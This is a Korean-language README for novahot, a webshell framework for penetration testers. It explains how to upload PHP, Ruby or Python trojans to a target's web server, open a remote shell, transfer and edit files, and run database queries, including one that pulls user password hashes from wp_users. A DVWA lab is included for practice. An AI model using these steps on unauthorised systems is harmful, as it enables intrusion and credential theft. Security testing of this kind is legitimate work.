
침투 테스터를 위한 웹쉘 프레임워크.
novahot는 침투 테스터를 위한 웹쉘 프레임워크입니다. JSON 기반 API를 구현하여 모든 언어로 작성된 트로이 목마와 통신할 수 있습니다. 기본적으로 PHP, ruby, python으로 작성된 트로이 목마가 포함되어 있습니다.
시스템 명령어 실행 외에도 novahot는 mysql, sqlite3, psql을 포함한 대화형 터미널을 에뮬레이션할 수 있습니다. 또한 선호하는 애플리케이션을 사용하여 원격 파일을 로컬에서 업로드, 다운로드, 편집, 보기 위한 "가상 명령어"를 구현합니다.
npm에서 직접 실행 파일을 설치하세요:
[sudo] npm install -g novahot
그런 다음 설정 파일을 생성합니다:
novahot config > ~/.novahotrc
novahot trojan list로 사용 가능한 트로이 목마를 확인합니다.
대상에 적합한 언어의 트로이 목마를 선택하고, 해당 소스를 새 파일로 복사합니다. (예: novahot trojan view basic.php > ~/my-trojan.php)
새로 생성된 트로이 목마에서 제어 비밀번호를 변경합니다.
트로이 목마를 대상의 웹 접근 가능 위치에 업로드합니다.
~/.novahotrc의 targets 속성에 대상 정보를 구성합니다.
novahot shell <target>을 실행하여 쉘을 엽니다.
내부적으로 novahot는 "모드"와 "어댑터"를 사용하여 다양한 대화형 클라이언트를 에뮬레이션합니다. 현재 mysql, psql (postgres), sqlite3 클라이언트가 포함됩니다.
novahot의 모드를 변경하려면 적절한 "닷 명령어"를 입력하세요:
.mysql { "username" : "mysql-user", "password" : "the-password", "database" : "the-database" }
(모드 변경 시 연결 매개변수를 JSON으로 지정하거나, 대안으로 ~/.novahotrc에 대상 구성 데이터로 저장할 수 있습니다.)
예를 들어, mysql 모드를 사용하면 다음과 같은 쿼리를 직접 실행할 수 있습니다:
mysql> SELECT ID, user_login, user_email, user_pass FROM wp_users;
추가로 payload 모드가 있으며, 이를 사용하여 트로이 목마에 임의의 데이터를 POST할 수 있습니다. 자세한 내용은 위키를 참조하세요.
novahot는 트로이 목마에 내장된 페이로드를 활용하여 쉘의 기능을 확장하는 네 가지 "가상 명령어"를 구현합니다:
download <remote-filename> [<local-filename>]
<remote-filename>을 --download-dir에 다운로드하고, 선택적으로 <local-filename>으로 이름을 변경합니다.
upload <local-filename> [<remote-filename>]
<local-filename>을 쉘의 현재 작업 디렉토리에 업로드하고, 선택적으로 <remote-filename>으로 이름을 변경합니다.
view <remote-filename> [<local-filename>]
<remote-filename>을 --download-dir에 다운로드하고, 선택적으로 <local-filename>으로 이름을 변경합니다. 다운로드 후 파일은 설정에 지정된 "뷰어" 애플리케이션으로 열립니다.
edit <remote-filename>
<remote-filename>을 임시 파일로 다운로드한 후 설정에 지정된 "편집기"로 열어 편집합니다. 이후 로컬에서 파일을 저장하면 자동으로 서버에 다시 업로드됩니다.
이 저장소에는 Vagrant, Docker, 그리고 취약한 웹 애플리케이션(https://github.com/chrisallenlane/novahot/blob/master/%22DVWA%22)을 기반으로 구축된 실험 환경이 포함되어 있습니다. 환경 구성 단계는 실제 호스트의 기능에 따라 다릅니다.
실제 호스트에 docker와 docker-compose가 설치된 경우, 다음 단계를 수행하세요:
cd로 이동합니다.docker-compose up도커 컨테이너가 시작되면 DVWA는 http://localhost:80에서 접근할 수 있습니다.
실제 호스트에 docker가 설치되지 않은 경우, Vagrant/Virtualbox를 사용하여 도커를 실행할 수 있는 가상 머신에 접근할 수 있습니다:
cd로 이동합니다.vagrant upvagrant sshsudo su; cd /vagrant; docker-compose upDVWA는 http://localhost:8000에서 접근할 수 있습니다.
~/.novahotrc 파일에 다음 연결 문자열을 지정하여 novahot 클라이언트를 DVWA 컨테이너에 포함된 PHP 트로이 목마에 연결하세요:
{
"targets": {
"dvwa" : {
"uri" : "http://localhost:8000/novahot.php",
"password" : "the-password",
"mysql" : {
"username": "root",
"password": "vulnerables",
"database": "dvwa"
}
}
}
}
그런 다음 다음 명령으로 웹쉘을 설정합니다:
novahot shell dvwa
추가 정보는 위키에서 확인할 수 있습니다: